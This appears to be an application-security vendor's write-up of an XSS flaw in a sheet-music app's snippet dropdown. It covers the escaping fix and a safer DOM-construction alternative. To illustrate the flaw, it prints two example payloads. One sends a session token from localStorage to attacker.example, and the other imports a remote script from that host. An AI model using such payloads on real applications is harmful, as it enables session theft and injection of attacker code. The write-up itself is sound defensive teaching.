How SQL-injection-style template literal injection happens in JavaScript DOM rendering and how to fix it

Summary

A Semgrep rule (utils.custom.sql-injection-template-literal) flagged src/export/SheetMusicView.js for building a query/markup string out of a JavaScript template literal with untrusted values interpolated directly into it. In this case the sink was an <option value="${s.id}">${s.name}</option> string used to build the snippet picker, meaning any snippet name containing " or < could break out of the attribute and inject arbitrary HTML. The fix introduces an _escapeHtml() helper and routes s.id and s.name through it before interpolation, eliminating the injection primitive.

Introduction

The src/export/SheetMusicView.js file is responsible for turning recorded musical snippets into a rendered sheet-music view — it builds a <select> dropdown so the user can pick which snippet to render, then hands the chosen snippet to _renderSheet(), which populates #sm-render and #sm-abc-text.

The dropdown-building code did something that looks completely innocuous and appears in thousands of front-end codebases:

return snippets.map((s) => {
  const count = (s.notes?.length || 0) + (s.hits?.length || 0);
  return `<option value="${s.id}">${s.name || 'Snippet'} (${count} events)</option>`;
}).join('');

Three values get interpolated into that template literal: s.id, s.name, and count. Only one of them (count) is guaranteed to be a number. The other two come from snippet objects — data that originates from user input (snippet names the user types), from imported project files, or from persisted storage. The moment that string is assigned to an element's innerHTML, the browser's HTML parser treats every character in s.name as markup, not as text.

Semgrep's utils.custom.sql-injection-template-literal rule fired on this file at line 27. The rule is named after its most famous manifestation — SQL injection — but the pattern it detects is broader and more fundamental: a template literal that mixes syntax and untrusted data in a string that will later be parsed. Whether the parser on the other end is a SQL engine or an HTML tokenizer, the bug is the same bug.

The Vulnerability Explained

The mechanics

Here is the vulnerable line as it existed before the fix (around line 66 of SheetMusicView.js):

return `<option value="${s.id}">${s.name || 'Snippet'} (${count} events)</option>`;

There are two distinct injection contexts in this single line:

1. A double-quoted attribute value: value="${s.id}". A " character inside s.id terminates the attribute early, after which anything the attacker writes is parsed as additional attributes on the <option> tag.
2. An HTML text node: ${s.name || 'Snippet'}. A < character inside s.name starts a new tag, letting the attacker inject arbitrary elements.

Neither value is escaped, validated, or type-checked. count is safe by construction (it is the sum of two .length values), which is a useful contrast: the problem is never "template literals are bad", it is "unvalidated data in a parsing context is bad".

An attack specific to this code

Imagine a user (or an imported .json project file, or a shared snippet from a collaborator) creates a snippet with this name:

Guitar Solo<img src=x onerror="fetch('https://attacker.example/collect?d='+encodeURIComponent(localStorage.getItem('session')))">

_renderSnippetOptions() produces:

<option value="snip_42">Guitar Solo<img src=x onerror="fetch('https://attacker.example/collect?d='+...)"> (18 events)</option>

As soon as that markup is inserted into the DOM, the browser attempts to load x, fails, and fires onerror — executing attacker JavaScript in the application's origin. The user never has to open the dropdown; simply rendering the snippet list is enough.

The attribute context gives an attacker a second, quieter path. A snippet ID of:

1" autofocus onfocus="import('https://attacker.example/p.js')

yields:

<option value="1" autofocus onfocus="import('https://attacker.example/p.js')">Snippet (0 events)</option>

Here nothing visibly changes in the UI — no stray <img>, no broken layout — but the injected onfocus handler pulls in a remote module. This is the kind of payload that survives casual code review and manual QA.

Real-world impact for this component

Because SheetMusicView lives in the export/ path, it is precisely where a user is most likely to be handling content they received from someone else: an imported arrangement, a shared practice session, a snippet library. That makes it a natural entry point for stored XSS. Concretely, a successful payload could:

• Exfiltrate whatever the app keeps in localStorage/sessionStorage (auth tokens, API keys for cloud sync, license data).
• Silently rewrite the ABC notation in #sm-abc-text before the user exports it, so the exported file differs from what was displayed.
• Hijack the export/download action to point at an attacker-controlled URL.
• Pivot to any privileged bridge the host environment exposes — in an Electron or WebView shell, DOM XSS frequently escalates toward local file access or command execution.

And the reason the Semgrep rule name matters: s.id and s.name clearly flow through the application's data layer. If any part of that layer builds queries the same way (`SELECT * FROM snippets WHERE id = '${id}'`), the identical unescaped value becomes SQL injection. Removing the template-literal-interpolation habit in one place is a step toward removing it everywhere.

The Fix

The patch escapes both untrusted values before they touch the markup, and adds a reusable helper for doing so.

Before

return snippets.map((s) => {
  const count = (s.notes?.length || 0) + (s.hits?.length || 0);
  return `<option value="${s.id}">${s.name || 'Snippet'} (${count} events)</option>`;
}).join('');

After

return snippets.map((s) => {
  const count = (s.notes?.length || 0) + (s.hits?.length || 0);
  const id = this._escapeHtml(s.id);
  const name = this._escapeHtml(s.name || 'Snippet');
  return `<option value="${id}">${name} (${count} events)</option>`;
}).join('');
}

_escapeHtml(value) {
  return String(value).replace(/[&<>"']/g, (c) => ({
    '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;',
  }[c]));
}

Why each detail matters

String(value) first. s.id might be a number, null, undefined, or an object from a malformed import. Coercing to a string before calling .replace() prevents a TypeError from crashing the whole snippet list — this is availability hardening as much as injection hardening.

The character set [&<>"'] is the right one for these two contexts. < and > neutralise tag injection in the text node. " neutralises the breakout from value="...". ' covers the case where the quoting style ever changes to single quotes. And & must be escaped first conceptually — it is included in the same character class so that a literal < typed by the user renders as < rather than being double-decoded into <. Escaping & last (or not at all) is a classic way to reintroduce the bug.

Escaping happens at the interpolation site, not at input time. The two local constants id and name are computed immediately before use. This is deliberate: encoding is context-dependent, so it belongs where the context is known (here, HTML), not at the point where the snippet was first created. Sanitising on input would leave the escaped entities baked into the stored data and would break as soon as the same value is used in a JSON export or a filename.

count is intentionally left alone. It is derived from .length arithmetic and cannot be attacker-controlled. Escaping it would be harmless but would obscure the reasoning; leaving it untouched documents that the developer distinguished trusted from untrusted values.

_escapeHtml is a method, not a free function. Placing it on the class next to _renderSheet() means the other renderers in SheetMusicView — including anything added later to #sm-render or #sm-abc-text — have an obvious, discoverable escape helper to reach for.

A stronger variant worth considering

Escaping fixes the bug, but the most robust version of this code avoids HTML parsing altogether:

_renderSnippetOptions(snippets, selectEl) {
  selectEl.replaceChildren(
    ...snippets.map((s) => {
      const count = (s.notes?.length || 0) + (s.hits?.length || 0);
      const opt = new Option(`${s.name || 'Snippet'} (${count} events)`, String(s.id));
      return opt; // label and value set as data, never parsed as markup
    })
  );
}

new Option(text, value) and element.textContent set data, so there is no parser to confuse and no escaping to get wrong. The escaping approach was chosen here because it is a minimal, behaviour-preserving change to an existing string-building function — but new code in this file should prefer DOM construction.

Key Takeaways

• The <option value="${s.id}">${s.name}</option> template literal in SheetMusicView.js had two injection contexts in one line — a double-quoted attribute and a text node — and neither was escaped.
• A snippet name is user-controlled data, and snippets can arrive from imported project files, which makes the export/ path a realistic stored-XSS entry point rather than a theoretical one.
• _escapeHtml() escapes & alongside <>"' on purpose — omitting & reintroduces the vulnerability through double-decoding of sequences like <.
• count was correctly left unescaped because it is computed from .length arithmetic; the fix distinguishes trusted from untrusted interpolations instead of blanket-escaping everything.
• The rule name sql-injection-template-literal describes a pattern, not just SQL — if s.id reaches a query builder elsewhere in this codebase built the same way, that is the next bug to fix, and parameterized queries are the answer there.
• new Option(name, id) and textContent remove the sink entirely and should be preferred over escaping for any new rendering code in this file.

How Orbis AppSec Detected This

• Source: Untrusted snippet metadata — the s.name and s.id fields of objects in the snippets array, populated from user-entered snippet names, imported project/session files, and persisted storage.
• Sink: The template literal `<option value="${s.id}">${s.name || 'Snippet'} (${count} events)</option>` in the snippet-option renderer of src/export/SheetMusicView.js (flagged at line 27, patched around line 66), whose output is inserted into the DOM as HTML.
• Missing control: No output encoding or contextual escaping was applied to s.id or s.name before interpolation; there was no type coercion either, so non-string values could also break the renderer.
• CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), a sibling of CWE-89 (SQL Injection) under CWE-74: Injection and CWE-116: Improper Encoding or Escaping of Output.
• Fix: Added a private _escapeHtml(value) method that coerces to string and entity-encodes &, <, >, ", and ', then applied it to s.id and s.name before they are interpolated into the <option> markup.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The bug in SheetMusicView.js is a textbook example of why injection remains at the top of every vulnerability list: the vulnerable line is shorter and more readable than the safe version. Interpolating s.name into an <option> tag feels like formatting; the browser treats it as programming.

The fix is small — one helper method, two local variables — but it draws a clear line between syntax and data in a component that handles content users receive from other people. The broader lesson generalises well beyond this file: if a string is going to be parsed by anything, don't build it with ${}. Use parameterized queries for SQL, textContent and new Option() for the DOM, and argument arrays for subprocesses. Then let a scanner enforce that rule on every pull request, so the next <option value="${id}"> never ships.